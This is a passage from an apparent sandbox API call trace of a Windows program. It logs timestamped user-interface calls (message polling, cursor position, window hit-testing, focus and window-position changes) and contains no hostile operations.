hWnd=0xa0060, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0258.664] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 0 [0258.664] GetCursorPos (in: lpPoint=0x18fde4 | out: lpPoint=0x18fde4*(x=754, y=477)) returned 1 [0258.665] WindowFromPoint (Point=0x2ef) returned 0x40050 [0258.665] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0x84, wParam=0x0, lParam=0x1dd02ef) returned 0x1 [0258.665] GetWindowThreadProcessId (in: hWnd=0x40050, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x8cc [0258.665] GetCurrentProcessId () returned 0x8d0 [0258.665] GetPropA (hWnd=0x40050, lpString=0xc167) returned 0x39073c [0258.665] ClientToScreen (in: hWnd=0x40050, lpPoint=0x18fd8c | out: lpPoint=0x18fd8c) returned 1 [0258.665] GetCapture () returned 0x0 [0258.665] WaitMessage () returned 1 [0258.804] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0258.804] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0258.804] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0258.804] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0258.804] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 0 [0258.805] GetCursorPos (in: lpPoint=0x18fde4 | out: lpPoint=0x18fde4*(x=754, y=477)) returned 1 [0258.805] WindowFromPoint (Point=0x2f2) returned 0x40050 [0258.805] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0x84, wParam=0x0, lParam=0x1dd02f2) returned 0x1 [0258.805] GetWindowThreadProcessId (in: hWnd=0x40050, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x8cc [0258.805] GetCurrentProcessId () returned 0x8d0 [0258.805] GetPropA (hWnd=0x40050, lpString=0xc167) returned 0x39073c [0258.805] ClientToScreen (in: hWnd=0x40050, lpPoint=0x18fd8c | out: lpPoint=0x18fd8c) returned 1 [0258.805] GetCapture () returned 0x0 [0258.805] WaitMessage () returned 1 [0258.866] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0258.866] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0258.866] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0258.867] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0258.867] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 0 [0258.867] GetCursorPos (in: lpPoint=0x18fde4 | out: lpPoint=0x18fde4*(x=754, y=477)) returned 1 [0258.867] WindowFromPoint (Point=0x2f3) returned 0x40050 [0258.867] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0x84, wParam=0x0, lParam=0x1de02f3) returned 0x1 [0258.867] GetWindowThreadProcessId (in: hWnd=0x40050, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x8cc [0258.867] GetCurrentProcessId () returned 0x8d0 [0258.867] GetPropA (hWnd=0x40050, lpString=0xc167) returned 0x39073c [0258.867] ClientToScreen (in: hWnd=0x40050, lpPoint=0x18fd8c | out: lpPoint=0x18fd8c) returned 1 [0258.867] GetCapture () returned 0x0 [0258.867] WaitMessage () returned 1 [0258.930] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0258.930] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0258.930] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0258.930] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0258.931] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 0 [0258.931] GetCursorPos (in: lpPoint=0x18fde4 | out: lpPoint=0x18fde4*(x=754, y=477)) returned 1 [0258.931] WindowFromPoint (Point=0x2d8) returned 0x90168 [0258.931] CallWindowProcW (lpPrevWndFunc=0xffff01af, hWnd=0x90168, Msg=0x84, wParam=0x0, lParam=0x1c502d8) returned 0x1 [0258.931] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x84, wParam=0x0, lParam=0x1c502d8) returned 0x1 [0258.931] GetWindowThreadProcessId (in: hWnd=0x90168, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x8cc [0258.931] GetCurrentProcessId () returned 0x8d0 [0258.931] GetPropA (hWnd=0x90168, lpString=0xc167) returned 0x3909a4 [0258.931] ClientToScreen (in: hWnd=0x90168, lpPoint=0x18fd8c | out: lpPoint=0x18fd8c) returned 1 [0258.931] GetCapture () returned 0x0 [0258.931] WaitMessage () returned 1 [0258.996] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0258.996] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0258.996] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0258.997] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0258.997] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 0 [0258.997] GetCursorPos (in: lpPoint=0x18fde4 | out: lpPoint=0x18fde4*(x=754, y=477)) returned 1 [0258.997] WindowFromPoint (Point=0x2f2) returned 0x40050 [0258.997] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0x84, wParam=0x0, lParam=0x1dd02f2) returned 0x1 [0258.997] GetWindowThreadProcessId (in: hWnd=0x40050, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x8cc [0258.997] GetCurrentProcessId () returned 0x8d0 [0258.998] GetPropA (hWnd=0x40050, lpString=0xc167) returned 0x39073c [0258.998] ClientToScreen (in: hWnd=0x40050, lpPoint=0x18fd8c | out: lpPoint=0x18fd8c) returned 1 [0258.998] GetCapture () returned 0x0 [0258.998] WaitMessage () returned 1 [0259.147] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0259.147] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0259.147] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0259.148] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0259.148] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 0 [0259.148] GetCursorPos (in: lpPoint=0x18fde4 | out: lpPoint=0x18fde4*(x=754, y=477)) returned 1 [0259.148] WindowFromPoint (Point=0x2f2) returned 0x40050 [0259.148] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0x84, wParam=0x0, lParam=0x1da02f2) returned 0x1 [0259.148] GetWindowThreadProcessId (in: hWnd=0x40050, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x8cc [0259.148] GetCurrentProcessId () returned 0x8d0 [0259.148] GetPropA (hWnd=0x40050, lpString=0xc167) returned 0x39073c [0259.148] ClientToScreen (in: hWnd=0x40050, lpPoint=0x18fd8c | out: lpPoint=0x18fd8c) returned 1 [0259.148] GetCapture () returned 0x0 [0259.148] WaitMessage () returned 1 [0259.210] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0259.210] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0259.210] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0259.210] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0259.210] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 0 [0259.210] GetCursorPos (in: lpPoint=0x18fde4 | out: lpPoint=0x18fde4*(x=754, y=477)) returned 1 [0259.210] WindowFromPoint (Point=0x2f2) returned 0x40050 [0259.210] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0x84, wParam=0x0, lParam=0x1dd02f2) returned 0x1 [0259.211] GetWindowThreadProcessId (in: hWnd=0x40050, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x8cc [0259.211] GetCurrentProcessId () returned 0x8d0 [0259.211] GetPropA (hWnd=0x40050, lpString=0xc167) returned 0x39073c [0259.211] ClientToScreen (in: hWnd=0x40050, lpPoint=0x18fd8c | out: lpPoint=0x18fd8c) returned 1 [0259.211] GetCapture () returned 0x0 [0259.211] WaitMessage () returned 1 [0259.272] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0259.272] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0259.272] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0259.272] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0259.273] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 0 [0259.273] GetCursorPos (in: lpPoint=0x18fde4 | out: lpPoint=0x18fde4*(x=754, y=477)) returned 1 [0259.273] WindowFromPoint (Point=0x2f3) returned 0x40050 [0259.273] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0x84, wParam=0x0, lParam=0x1dd02f3) returned 0x1 [0259.273] GetWindowThreadProcessId (in: hWnd=0x40050, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x8cc [0259.273] GetCurrentProcessId () returned 0x8d0 [0259.273] GetPropA (hWnd=0x40050, lpString=0xc167) returned 0x39073c [0259.273] ClientToScreen (in: hWnd=0x40050, lpPoint=0x18fd8c | out: lpPoint=0x18fd8c) returned 1 [0259.273] GetCapture () returned 0x0 [0259.273] WaitMessage () returned 1 [0259.335] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0259.335] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0259.335] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0259.335] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0259.335] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 0 [0259.335] GetCursorPos (in: lpPoint=0x18fde4 | out: lpPoint=0x18fde4*(x=754, y=477)) returned 1 [0259.336] WindowFromPoint (Point=0x2dd) returned 0x70042 [0259.336] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x84, wParam=0x0, lParam=0x1d602dd) returned 0x1 [0259.336] GetWindowThreadProcessId (in: hWnd=0x70042, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x8cc [0259.336] GetCurrentProcessId () returned 0x8d0 [0259.336] GetPropA (hWnd=0x70042, lpString=0xc167) returned 0x38ef44 [0259.336] ClientToScreen (in: hWnd=0x70042, lpPoint=0x18fd8c | out: lpPoint=0x18fd8c) returned 1 [0259.336] PtInRect (lprc=0x18fd80, pt=0x9a) returned 0 [0259.336] GetCapture () returned 0x0 [0259.336] WaitMessage () returned 1 [0259.397] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0259.397] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0259.397] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0259.397] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0259.397] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 0 [0259.397] GetCursorPos (in: lpPoint=0x18fde4 | out: lpPoint=0x18fde4*(x=754, y=477)) returned 1 [0259.397] WindowFromPoint (Point=0x2f2) returned 0x40050 [0259.397] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0x84, wParam=0x0, lParam=0x1dd02f2) returned 0x1 [0259.398] GetWindowThreadProcessId (in: hWnd=0x40050, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x8cc [0259.398] GetCurrentProcessId () returned 0x8d0 [0259.398] GetPropA (hWnd=0x40050, lpString=0xc167) returned 0x39073c [0259.398] ClientToScreen (in: hWnd=0x40050, lpPoint=0x18fd8c | out: lpPoint=0x18fd8c) returned 1 [0259.398] GetCapture () returned 0x0 [0259.398] WaitMessage () returned 1 [0259.461] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0259.461] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0259.461] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0259.461] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0259.461] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 0 [0259.462] GetCursorPos (in: lpPoint=0x18fde4 | out: lpPoint=0x18fde4*(x=754, y=477)) returned 1 [0259.462] WindowFromPoint (Point=0x2ef) returned 0x40050 [0259.462] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0x84, wParam=0x0, lParam=0x1de02ef) returned 0x1 [0259.462] GetWindowThreadProcessId (in: hWnd=0x40050, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x8cc [0259.462] GetCurrentProcessId () returned 0x8d0 [0259.462] GetPropA (hWnd=0x40050, lpString=0xc167) returned 0x39073c [0259.462] ClientToScreen (in: hWnd=0x40050, lpPoint=0x18fd8c | out: lpPoint=0x18fd8c) returned 1 [0259.462] GetCapture () returned 0x0 [0259.462] WaitMessage () returned 1 [0259.463] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0259.463] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0x84, wParam=0x0, lParam=0x1e502ec) returned 0x1 [0259.464] GetCursorPos (in: lpPoint=0x18fb48 | out: lpPoint=0x18fb48*(x=748, y=485)) returned 1 [0259.464] ClientToScreen (in: hWnd=0x40050, lpPoint=0x18fb30 | out: lpPoint=0x18fb30) returned 1 [0259.464] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0x20, wParam=0x40050, lParam=0x2000001) returned 0x0 [0259.464] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x20, wParam=0x40050, lParam=0x2000001) returned 0x0 [0259.464] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0259.464] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0259.464] GetCapture () returned 0x0 [0259.464] ClientToScreen (in: hWnd=0x40050, lpPoint=0x18fbec | out: lpPoint=0x18fbec) returned 1 [0259.464] WindowFromPoint (Point=0x2ec) returned 0x40050 [0259.464] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0x84, wParam=0x0, lParam=0x1e502ec) returned 0x1 [0259.464] GetWindowThreadProcessId (in: hWnd=0x40050, lpdwProcessId=0x18fbcc | out: lpdwProcessId=0x18fbcc) returned 0x8cc [0259.464] GetCurrentProcessId () returned 0x8d0 [0259.464] GetPropA (hWnd=0x40050, lpString=0xc167) returned 0x39073c [0259.464] ClientToScreen (in: hWnd=0x40050, lpPoint=0x18fbd0 | out: lpPoint=0x18fbd0) returned 1 [0259.464] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0x200, wParam=0x0, lParam=0xe002c) returned 0x0 [0259.464] GetKeyState (nVirtKey=18) returned 1 [0259.464] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 0 [0259.464] GetCursorPos (in: lpPoint=0x18fde4 | out: lpPoint=0x18fde4*(x=748, y=485)) returned 1 [0259.464] WindowFromPoint (Point=0x2eb) returned 0x40050 [0259.464] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0x84, wParam=0x0, lParam=0x1e402eb) returned 0x1 [0259.465] GetWindowThreadProcessId (in: hWnd=0x40050, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x8cc [0259.465] GetCurrentProcessId () returned 0x8d0 [0259.465] GetPropA (hWnd=0x40050, lpString=0xc167) returned 0x39073c [0259.465] ClientToScreen (in: hWnd=0x40050, lpPoint=0x18fd8c | out: lpPoint=0x18fd8c) returned 1 [0259.465] GetCapture () returned 0x0 [0259.465] WaitMessage () returned 1 [0259.525] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0259.526] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0259.526] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0259.526] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0xa0060, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0259.527] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 0 [0259.527] GetCursorPos (in: lpPoint=0x18fde4 | out: lpPoint=0x18fde4*(x=748, y=485)) returned 1 [0259.527] WindowFromPoint (Point=0x2ec) returned 0x40050 [0259.529] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0x84, wParam=0x0, lParam=0x1e502ec) returned 0x1 [0259.529] GetWindowThreadProcessId (in: hWnd=0x40050, lpdwProcessId=0x18fd88 | out: lpdwProcessId=0x18fd88) returned 0x8cc [0259.529] GetCurrentProcessId () returned 0x8d0 [0259.529] GetPropA (hWnd=0x40050, lpString=0xc167) returned 0x39073c [0259.529] ClientToScreen (in: hWnd=0x40050, lpPoint=0x18fd8c | out: lpPoint=0x18fd8c) returned 1 [0259.529] GetCapture () returned 0x0 [0259.529] WaitMessage () returned 1 [0259.538] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0259.538] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0x84, wParam=0x0, lParam=0x1e502ec) returned 0x1 [0259.538] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x210, wParam=0x201, lParam=0x6b00b1) returned 0x0 [0259.538] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0x21, wParam=0x70042, lParam=0x2010001) returned 0x1 [0259.538] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x21, wParam=0x70042, lParam=0x2010001) returned 0x1 [0259.538] GetCursorPos (in: lpPoint=0x18fb48 | out: lpPoint=0x18fb48*(x=748, y=485)) returned 1 [0259.538] ClientToScreen (in: hWnd=0x40050, lpPoint=0x18fb30 | out: lpPoint=0x18fb30) returned 1 [0259.538] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0x20, wParam=0x40050, lParam=0x2010001) returned 0x0 [0259.538] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x20, wParam=0x40050, lParam=0x2010001) returned 0x0 [0259.539] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0259.539] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0259.539] GetFocus () returned 0x90168 [0259.539] SetFocus (hWnd=0x40050) returned 0x90168 [0259.539] CallWindowProcW (lpPrevWndFunc=0xffff01af, hWnd=0x90168, Msg=0x8, wParam=0x40050, lParam=0x0) returned 0x1 [0259.539] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x8, wParam=0x40050, lParam=0x0) returned 0x1 [0259.539] GetWindowThreadProcessId (in: hWnd=0x90168, lpdwProcessId=0x18f580 | out: lpdwProcessId=0x18f580) returned 0x8cc [0259.539] GetCurrentProcessId () returned 0x8d0 [0259.539] GetPropA (hWnd=0x90168, lpString=0xc167) returned 0x3909a4 [0259.539] GetWindowThreadProcessId (in: hWnd=0x90168, lpdwProcessId=0x18f59c | out: lpdwProcessId=0x18f59c) returned 0x8cc [0259.539] GetCurrentProcessId () returned 0x8d0 [0259.539] GetPropA (hWnd=0x90168, lpString=0xc167) returned 0x3909a4 [0259.539] CallWindowProcW (lpPrevWndFunc=0xffff01af, hWnd=0x90168, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0259.540] CallWindowProcA (lpPrevWndFunc=0xffff02ab, hWnd=0x90168, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0259.540] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0259.541] SendMessageA (hWnd=0x90168, Msg=0xb01b, wParam=0x0, lParam=0x0) returned 0x0 [0259.541] CallWindowProcW (lpPrevWndFunc=0xffff01af, hWnd=0x90168, Msg=0xb01b, wParam=0x0, lParam=0x0) returned 0x0 [0259.542] SendMessageA (hWnd=0x40050, Msg=0xb01a, wParam=0x0, lParam=0x0) returned 0x0 [0259.542] GetClientRect (in: hWnd=0x40050, lpRect=0x18fa14 | out: lpRect=0x18fa14) returned 1 [0259.542] ClientToScreen (in: hWnd=0x40050, lpPoint=0x18f9fc | out: lpPoint=0x18f9fc) returned 1 [0259.542] ClientToScreen (in: hWnd=0x70042, lpPoint=0x18f9fc | out: lpPoint=0x18f9fc) returned 1 [0259.542] ClientToScreen (in: hWnd=0x40050, lpPoint=0x18f9fc | out: lpPoint=0x18f9fc) returned 1 [0259.542] ClientToScreen (in: hWnd=0x70042, lpPoint=0x18f9fc | out: lpPoint=0x18f9fc) returned 1 [0259.542] IsIconic (hWnd=0x70042) returned 0 [0259.542] GetClientRect (in: hWnd=0x70042, lpRect=0x18f9fc | out: lpRect=0x18f9fc) returned 1 [0259.542] IsIconic (hWnd=0x70042) returned 0 [0259.542] GetClientRect (in: hWnd=0x70042, lpRect=0x18f9fc | out: lpRect=0x18f9fc) returned 1 [0259.542] GetWindowLongA (hWnd=0xa0060, nIndex=-16) returned 1409351680 [0259.542] GetWindowLongA (hWnd=0x40050, nIndex=-16) returned 1409351681 [0259.542] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0x7, wParam=0x90168, lParam=0x0) returned 0x0 [0259.542] GetFocus () returned 0x40050 [0259.542] GetCapture () returned 0x0 [0259.542] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0xb004, wParam=0x0, lParam=0x39073c) returned 0x0 [0259.542] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0x201, wParam=0x1, lParam=0xe002c) returned 0x0 [0259.543] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0xf3, wParam=0x1, lParam=0x0) returned 0x0 [0259.544] GetKeyState (nVirtKey=18) returned 1 [0259.544] PeekMessageA (in: lpMsg=0x18fdcc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fdcc) returned 1 [0259.544] TranslateMessage (lpMsg=0x18fdcc) returned 0 [0259.544] DispatchMessageA (lpMsg=0x18fdcc) returned 0x0 [0259.544] GetCapture () returned 0x40050 [0259.544] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0x202, wParam=0x0, lParam=0xe002c) returned 0x0 [0259.544] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0xf3, wParam=0x0, lParam=0x0) returned 0x0 [0259.544] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x40050, Msg=0x215, wParam=0x0, lParam=0x0) returned 0x0 [0259.544] GetWindowThreadProcessId (in: hWnd=0x40050, lpdwProcessId=0x18f870 | out: lpdwProcessId=0x18f870) returned 0x8cc [0259.544] GetCurrentProcessId () returned 0x8d0 [0259.544] GetPropA (hWnd=0x40050, lpString=0xc167) returned 0x39073c [0259.544] GetKeyState (nVirtKey=18) returned 1 [0259.544] SendMessageA (hWnd=0x70042, Msg=0xb001, wParam=0x0, lParam=0x0) returned 0x0 [0259.544] GetActiveWindow () returned 0x70042 [0259.544] SetWindowPos (hWnd=0x70042, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x97) returned 1 [0259.544] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x46, wParam=0x0, lParam=0x18fc6c) returned 0x0 [0259.546] IsIconic (hWnd=0x70042) returned 0 [0259.546] GetWindowRect (in: hWnd=0x70042, lpRect=0x18fa20 | out: lpRect=0x18fa20) returned 1 [0259.546] GetWindowLongA (hWnd=0x70042, nIndex=-16) returned -2033713152 [0259.546] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x47, wParam=0x0, lParam=0x18fc6c) returned 0x0 [0259.546] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0259.546] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0259.546] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0259.547] IsWindow (hWnd=0x2024a) returned 1 [0259.547] EnableWindow (hWnd=0x2024a, bEnable=1) returned 1 [0259.547] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0xa, wParam=0x1, lParam=0x0) returned 0x0 [0259.547] SetActiveWindow (hWnd=0x2024a) returned 0x70042 [0259.547] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x86, wParam=0x0, lParam=0x2024a) returned 0x1 [0259.547] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0259.547] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0259.547] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0259.549] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x46, wParam=0x0, lParam=0x18fddc) returned 0x0 [0259.549] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x46, wParam=0x0, lParam=0x18fddc) returned 0x0 [0259.549] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x86, 